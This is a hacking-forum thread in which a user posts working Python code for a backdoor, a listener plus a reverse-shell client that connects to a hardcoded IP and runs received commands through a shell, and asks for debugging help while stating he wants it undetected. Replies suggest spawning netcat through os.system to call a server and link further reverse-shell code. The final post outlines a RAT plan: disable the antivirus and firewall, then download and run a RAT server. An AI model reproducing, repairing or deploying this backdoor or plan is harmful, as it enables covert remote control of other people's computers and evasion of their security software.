Login Register






Python Backdoor problem filter_list
Author
Message
Python Backdoor problem #1
Hey guys, for the last 2 days im working on a very simple python backdoor and I got some serious problems;D

-Any help is appreciated

So, it is 2 parts. First part the server(or socket listener, call it as u want) and second the shell(the running on the background cmd that we have access to when the shell is opened).

Code for listener:

Code:
import socket import os import platform, getpass # public variables System_Info = {'Filepath' : 'Unknown_filepath|>', 'OperationSystem' : 'Unknown_OS', 'SystemUsername' : 'Uknown_sys_username'} c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.bind(('0.0.0.0', 443)) c.listen(1) s,a = c.accept() while True: # receive DATA data = s.recv(1024) if data.startswith('C:'): System_Info['Filepath'] = str(data) + '>' # print data nextcmd = raw_input(System_Info['Filepath']) if nextcmd == "/clear": os.system('CLS') nextcmd = "whoami" # send that shit s.send(nextcmd)

Code for the shell:

Code:
#!/usr/bin/python import subprocess, socket import os, sys import platform, getpass HOST = '192.168.1.2' PORT = 443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # public variables filepath2 = os.path.dirname(sys.argv[0]) filepath1 = os.path.abspath(filepath2) OperationSystem = platform.system(), platform.release(), platform.version() Remote_ip = socket.gethostbyname(socket.gethostname()) # s.send(filepath1) # s.send(str(OperationSystem)) # s.send(Remote_ip) print filepath1, OperationSystem, Remote_ip s.send(filepath1) while 1: data = s.recv(1024) if data == "quit": break if data == "/user": user = getpass.getuser() s.send(str(user)) else: proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput = proc.stdout.read() + proc.stderr.read() s.send(stdoutput) #exit the loop s.send('Bye now!') s.close()

Allright heres my problems:

When I open the listener and then the shell (I both test them on 1 pc for now) I dont have any problems... This is the output that I get on cmd:

"C:\Users\user\Documents> " and after the ">" I can type my commands.

But when I use commands that have "long" output like "tasklist" cmd prints only the first 10 lines, and in order to print the others i need to press ENTER again and again until its done.

Thats the first problem,
The second it that within the listener when I send commands like " cd C:\Users\user\Desktop " the cmd simply crashes and have no idea why this is happening...

Like I said any help appriciated;p

Reply

RE: Python Backdoor problem #2
You can use Python to run a Reverse Shell using Netcat via os.system() function, I'll start working on a similar thing soon
My Blog: http://www.procurity.wordpress.com
Donations: 1HLjiSbnWMpeQU46eUVCrYdbkrtduX7snG

Reply

RE: Python Backdoor problem #3
(04-20-2013, 04:42 PM)Ex094 Wrote: You can use Python to run a Reverse Shell using Netcat via os.system() function, I'll start working on a similar thing soon

I could use netcat as a listener but when I thought of the python backdoor I wanted one that can provide more than one connections the same time with no problem, and of curse undetected.

what exactly do you mean "via os.system" ?

Reply

RE: Python Backdoor problem #4
(04-20-2013, 05:02 PM)ReTi0n Wrote:
(04-20-2013, 04:42 PM)Ex094 Wrote: You can use Python to run a Reverse Shell using Netcat via os.system() function, I'll start working on a similar thing soon

I could use netcat as a listener but when I thought of the python backdoor I wanted one that can provide more than one connections the same time with no problem, and of curse undetected.

what exactly do you mean "via os.system" ?

I meant this:

Code:
import os os.system('nc server_ip port')
My Blog: http://www.procurity.wordpress.com
Donations: 1HLjiSbnWMpeQU46eUVCrYdbkrtduX7snG

Reply

RE: Python Backdoor problem #5
(04-20-2013, 07:00 PM)Ex094 Wrote:
(04-20-2013, 05:02 PM)ReTi0n Wrote:
(04-20-2013, 04:42 PM)Ex094 Wrote: You can use Python to run a Reverse Shell using Netcat via os.system() function, I'll start working on a similar thing soon

I could use netcat as a listener but when I thought of the python backdoor I wanted one that can provide more than one connections the same time with no problem, and of curse undetected.

what exactly do you mean "via os.system" ?

I meant this:

Code:
import os os.system('nc server_ip port')

Whats the difference between the above and this?, using sockets:
Code:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT))

Reply

RE: Python Backdoor problem #6
(04-20-2013, 08:48 PM)ReTi0n Wrote:
(04-20-2013, 07:00 PM)Ex094 Wrote:
(04-20-2013, 05:02 PM)ReTi0n Wrote:
(04-20-2013, 04:42 PM)Ex094 Wrote: You can use Python to run a Reverse Shell using Netcat via os.system() function, I'll start working on a similar thing soon

I could use netcat as a listener but when I thought of the python backdoor I wanted one that can provide more than one connections the same time with no problem, and of curse undetected.

what exactly do you mean "via os.system" ?

I meant this:

Code:
import os os.system('nc server_ip port')

Whats the difference between the above and this?, using sockets:
Code:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT))
Just gave you a suggestion though I've not been to Networking With Python part lately but will be doing it after some other stuff
I found this for you http://ghosthunter.googlecode.com/svn/tr...e_shell.py
Might be useful
My Blog: http://www.procurity.wordpress.com
Donations: 1HLjiSbnWMpeQU46eUVCrYdbkrtduX7snG

Reply

RE: Python Backdoor problem #7
Well it is. I was looking for an example source. I might be able now to fix some bugs;p
Thanx man!

Reply

RE: Python Backdoor problem #8
Code:
import os os.system()

system function from os module can be used to run os command, or execute a exe or whatever thing.

Example
Code:
import os os.system('clear') os.system('dir')

What I have in mind about writing a python rat.. :lol:
1. Kick antivirus
2. Kick Firewall
3. Download RAT server
4. Execute server
5. pwned :lol:

Reply